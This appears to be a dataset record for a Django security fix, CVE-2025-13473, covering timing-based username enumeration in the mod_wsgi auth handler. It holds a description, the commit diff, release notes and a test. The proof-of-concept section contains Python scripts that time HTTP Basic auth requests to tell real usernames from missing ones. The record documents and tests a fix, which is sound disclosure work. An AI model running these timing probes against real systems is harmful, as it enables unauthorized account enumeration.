Timing attack / Username enumeration
Description
CVE-2025-13473: Username enumeration through timing difference in mod_wsgi authentication handler. The mod_wsgi authentication path used by Django's check_password() could reveal whether a username exists by measuring response time differences. The patch introduces a helper _get_user(username) that returns None for missing or inactive users but, in those cases, runs the default password hasher once (via UserModel().set_password("")) to normalize timing. Consequently, the authentication pathway now incurs a similar cost regardless of whether the user exists or is inactive, mitigating a timing-based username enumeration vulnerability. This is a real vulnerability fix addressing a timing side-channel in the mod_wsgi authentication flow; the fix affects how check_password() behaves for non-existent or inactive users by standardizing hashing work, reducing exploitable timing differences.
Proof of Concept
Proof-of-concept (timing-based username enumeration via mod_wsgi basic auth):
Prerequisites:
- Django app deployed with mod_wsgi using Apache's HTTP Basic authentication against a view protected by mod_wsgi auth (e.g., /protected/).
- Users: a real user (e.g., 'alice' with password 'secret'), an inactive user ('inactive' with is_active=False), and a non-existent username ('ghost').
- Attacker can reach the protected endpoint and measure response times.
PoC steps (attack vector):
1) Measure average response time for a non-existent username:
python3 - <<'PY'
import time
import requests
url = 'http://localhost/protected/'
user, pwd = 'ghost', 'anything'
trials = 30
s = time.time()
for _ in range(trials):
t0 = time.time()
r = requests.get(url, auth=(user, pwd))
t1 = time.time()
print('ghost', t1 - t0)
print('AVG ghost:', (time.time() - s) / trials)
PY
2) Measure average response time for a valid existing user with correct and incorrect passwords:
python3 - <<'PY'
import time
import requests
url = 'http://localhost/protected/'
for user, pwd in [('alice', 'secret'), ('alice', 'wrong')]:
trials = 30
s = time.time()
tot = 0.0
for _ in range(trials):
t0 = time.time()
r = requests.get(url, auth=(user, pwd))
t1 = time.time()
tot += (t1 - t0)
print(user, 'avg:', tot / trials)
print('done')
PY
3) Compare results:
- If the timing for 'ghost' is significantly different from 'alice' (wrong password), an attacker can deduce username existence.
- After the fix in this commit, the difference should be reduced because a hasher run occurs for non-existent users as well, normalizing timing.
Note: This PoC assumes an environment where mod_wsgi's Apache authentication is configured to protect /protected/ and uses HTTP Basic authentication. Real-world results depend on server load, worker process model, and hasher configuration."
Commit Details
Author: Jake Howard
Date: 2025-11-19 16:52 UTC
Message:
Fixed CVE-2025-13473 -- Standardized timing of check_password() in mod_wsgi auth handler.
Refs CVE-2024-39329, #20760.
Thanks Stackered for the report, and Jacob Walls and Markus Holtermann
for the reviews.
Co-authored-by: Natalia <124304+nessita@users.noreply.github.com>
Triage Assessment
Vulnerability Type: Timing/Username enumeration
Confidence: HIGH
Reasoning:
The commit adds a helper (_get_user) that runs the default password hasher even when the user does not exist or is inactive, normalizing timing to mitigate a timing-based username enumeration vulnerability (CVE-2025-13473) in mod_wsgi authentication. The check_password flow now returns based on whether a user exists and password matches, with timing side-channel fixed.
Verification Assessment
Vulnerability Type: Timing attack / Username enumeration
Confidence: HIGH
Affected Versions: Django 5.1.x prior to this commit (mod_wsgi authentication handler check_password).
Code Diff
diff --git a/django/contrib/auth/handlers/modwsgi.py b/django/contrib/auth/handlers/modwsgi.py
index 591ec72cb4cd..086db89fc846 100644
--- a/django/contrib/auth/handlers/modwsgi.py
+++ b/django/contrib/auth/handlers/modwsgi.py
@@ -4,24 +4,47 @@
UserModel = auth.get_user_model()
+def _get_user(username):
+ """
+ Return the UserModel instance for `username`.
+
+ If no matching user exists, or if the user is inactive, return None, in
+ which case the default password hasher is run to mitigate timing attacks.
+ """
+ try:
+ user = UserModel._default_manager.get_by_natural_key(username)
+ except UserModel.DoesNotExist:
+ user = None
+ else:
+ if not user.is_active:
+ user = None
+
+ if user is None:
+ # Run the default password hasher once to reduce the timing difference
+ # between existing/active and nonexistent/inactive users (#20760).
+ UserModel().set_password("")
+
+ return user
+
+
def check_password(environ, username, password):
"""
Authenticate against Django's auth database.
mod_wsgi docs specify None, True, False as return value depending
on whether the user exists and authenticates.
+
+ Return None if the user does not exist, return False if the user exists but
+ password is not correct, and return True otherwise.
+
"""
# db connection state is managed similarly to the wsgi handler
# as mod_wsgi may call these functions outside of a request/response cycle
db.reset_queries()
try:
- try:
- user = UserModel._default_manager.get_by_natural_key(username)
- except UserModel.DoesNotExist:
- return None
- if not user.is_active:
- return None
- return user.check_password(password)
+ user = _get_user(username)
+ if user:
+ return user.check_password(password)
finally:
db.close_old_connections()
diff --git a/docs/releases/4.2.28.txt b/docs/releases/4.2.28.txt
index 8c6d4a2a1d28..9f6d5cb152f1 100644
--- a/docs/releases/4.2.28.txt
+++ b/docs/releases/4.2.28.txt
@@ -7,3 +7,13 @@ Django 4.2.28 release notes
Django 4.2.28 fixes three security issues with severity "high", two security
issues with severity "moderate", and one security issue with severity "low" in
4.2.27.
+
+CVE-2025-13473: Username enumeration through timing difference in mod_wsgi authentication handler
+=================================================================================================
+
+The ``django.contrib.auth.handlers.modwsgi.check_password()`` function for
+:doc:`authentication via mod_wsgi</howto/deployment/wsgi/apache-auth>`
+allowed remote attackers to enumerate users via a timing attack.
+
+This issue has severity "low" according to the :ref:`Django security policy
+<security-disclosure>`.
diff --git a/docs/releases/5.2.11.txt b/docs/releases/5.2.11.txt
index 545a7aeb7035..f975e45166ee 100644
--- a/docs/releases/5.2.11.txt
+++ b/docs/releases/5.2.11.txt
@@ -7,3 +7,13 @@ Django 5.2.11 release notes
Django 5.2.11 fixes three security issues with severity "high", two security
issues with severity "moderate", and one security issue with severity "low" in
5.2.10.
+
+CVE-2025-13473: Username enumeration through timing difference in mod_wsgi authentication handler
+=================================================================================================
+
+The ``django.contrib.auth.handlers.modwsgi.check_password()`` function for
+:doc:`authentication via mod_wsgi</howto/deployment/wsgi/apache-auth>`
+allowed remote attackers to enumerate users via a timing attack.
+
+This issue has severity "low" according to the :ref:`Django security policy
+<security-disclosure>`.
diff --git a/docs/releases/6.0.2.txt b/docs/releases/6.0.2.txt
index 7dd10dbb4e25..ba39f74082c7 100644
--- a/docs/releases/6.0.2.txt
+++ b/docs/releases/6.0.2.txt
@@ -8,6 +8,16 @@ Django 6.0.2 fixes three security issues with severity "high", two security
issues with severity "moderate", one security issue with severity "low", and
several bugs in 6.0.1.
+CVE-2025-13473: Username enumeration through timing difference in mod_wsgi authentication handler
+=================================================================================================
+
+The ``django.contrib.auth.handlers.modwsgi.check_password()`` function for
+:doc:`authentication via mod_wsgi</howto/deployment/wsgi/apache-auth>`
+allowed remote attackers to enumerate users via a timing attack.
+
+This issue has severity "low" according to the :ref:`Django security policy
+<security-disclosure>`.
+
Bugfixes
========
diff --git a/tests/auth_tests/test_handlers.py b/tests/auth_tests/test_handlers.py
index 77f37db00976..02743932df12 100644
--- a/tests/auth_tests/test_handlers.py
+++ b/tests/auth_tests/test_handlers.py
@@ -1,4 +1,7 @@
+from unittest import mock
+
from django.contrib.auth.handlers.modwsgi import check_password, groups_for_user
+from django.contrib.auth.hashers import get_hasher
from django.contrib.auth.models import Group, User
from django.test import TransactionTestCase, override_settings
@@ -73,3 +76,28 @@ def test_groups_for_user(self):
self.assertEqual(groups_for_user({}, "test"), [b"test_group"])
self.assertEqual(groups_for_user({}, "test1"), [])
+
+ def test_check_password_fake_runtime(self):
+ """
+ Hasher is run once regardless of whether the user exists. Refs #20760.
+ """
+ User.objects.create_user("test", "test@example.com", "test")
+ User.objects.create_user("inactive", "test@nono.com", "test", is_active=False)
+ User.objects.create_user("unusable", "test@nono.com")
+
+ hasher = get_hasher()
+
+ for username, password in [
+ ("test", "test"),
+ ("test", "wrong"),
+ ("inactive", "test"),
+ ("inactive", "wrong"),
+ ("unusable", "test"),
+ ("doesnotexist", "test"),
+ ]:
+ with (
+ self.subTest(username=username, password=password),
+ mock.patch.object(hasher, "encode") as mock_make_password,
+ ):
+ check_password({}, username, password)
+ mock_make_password.assert_called_once()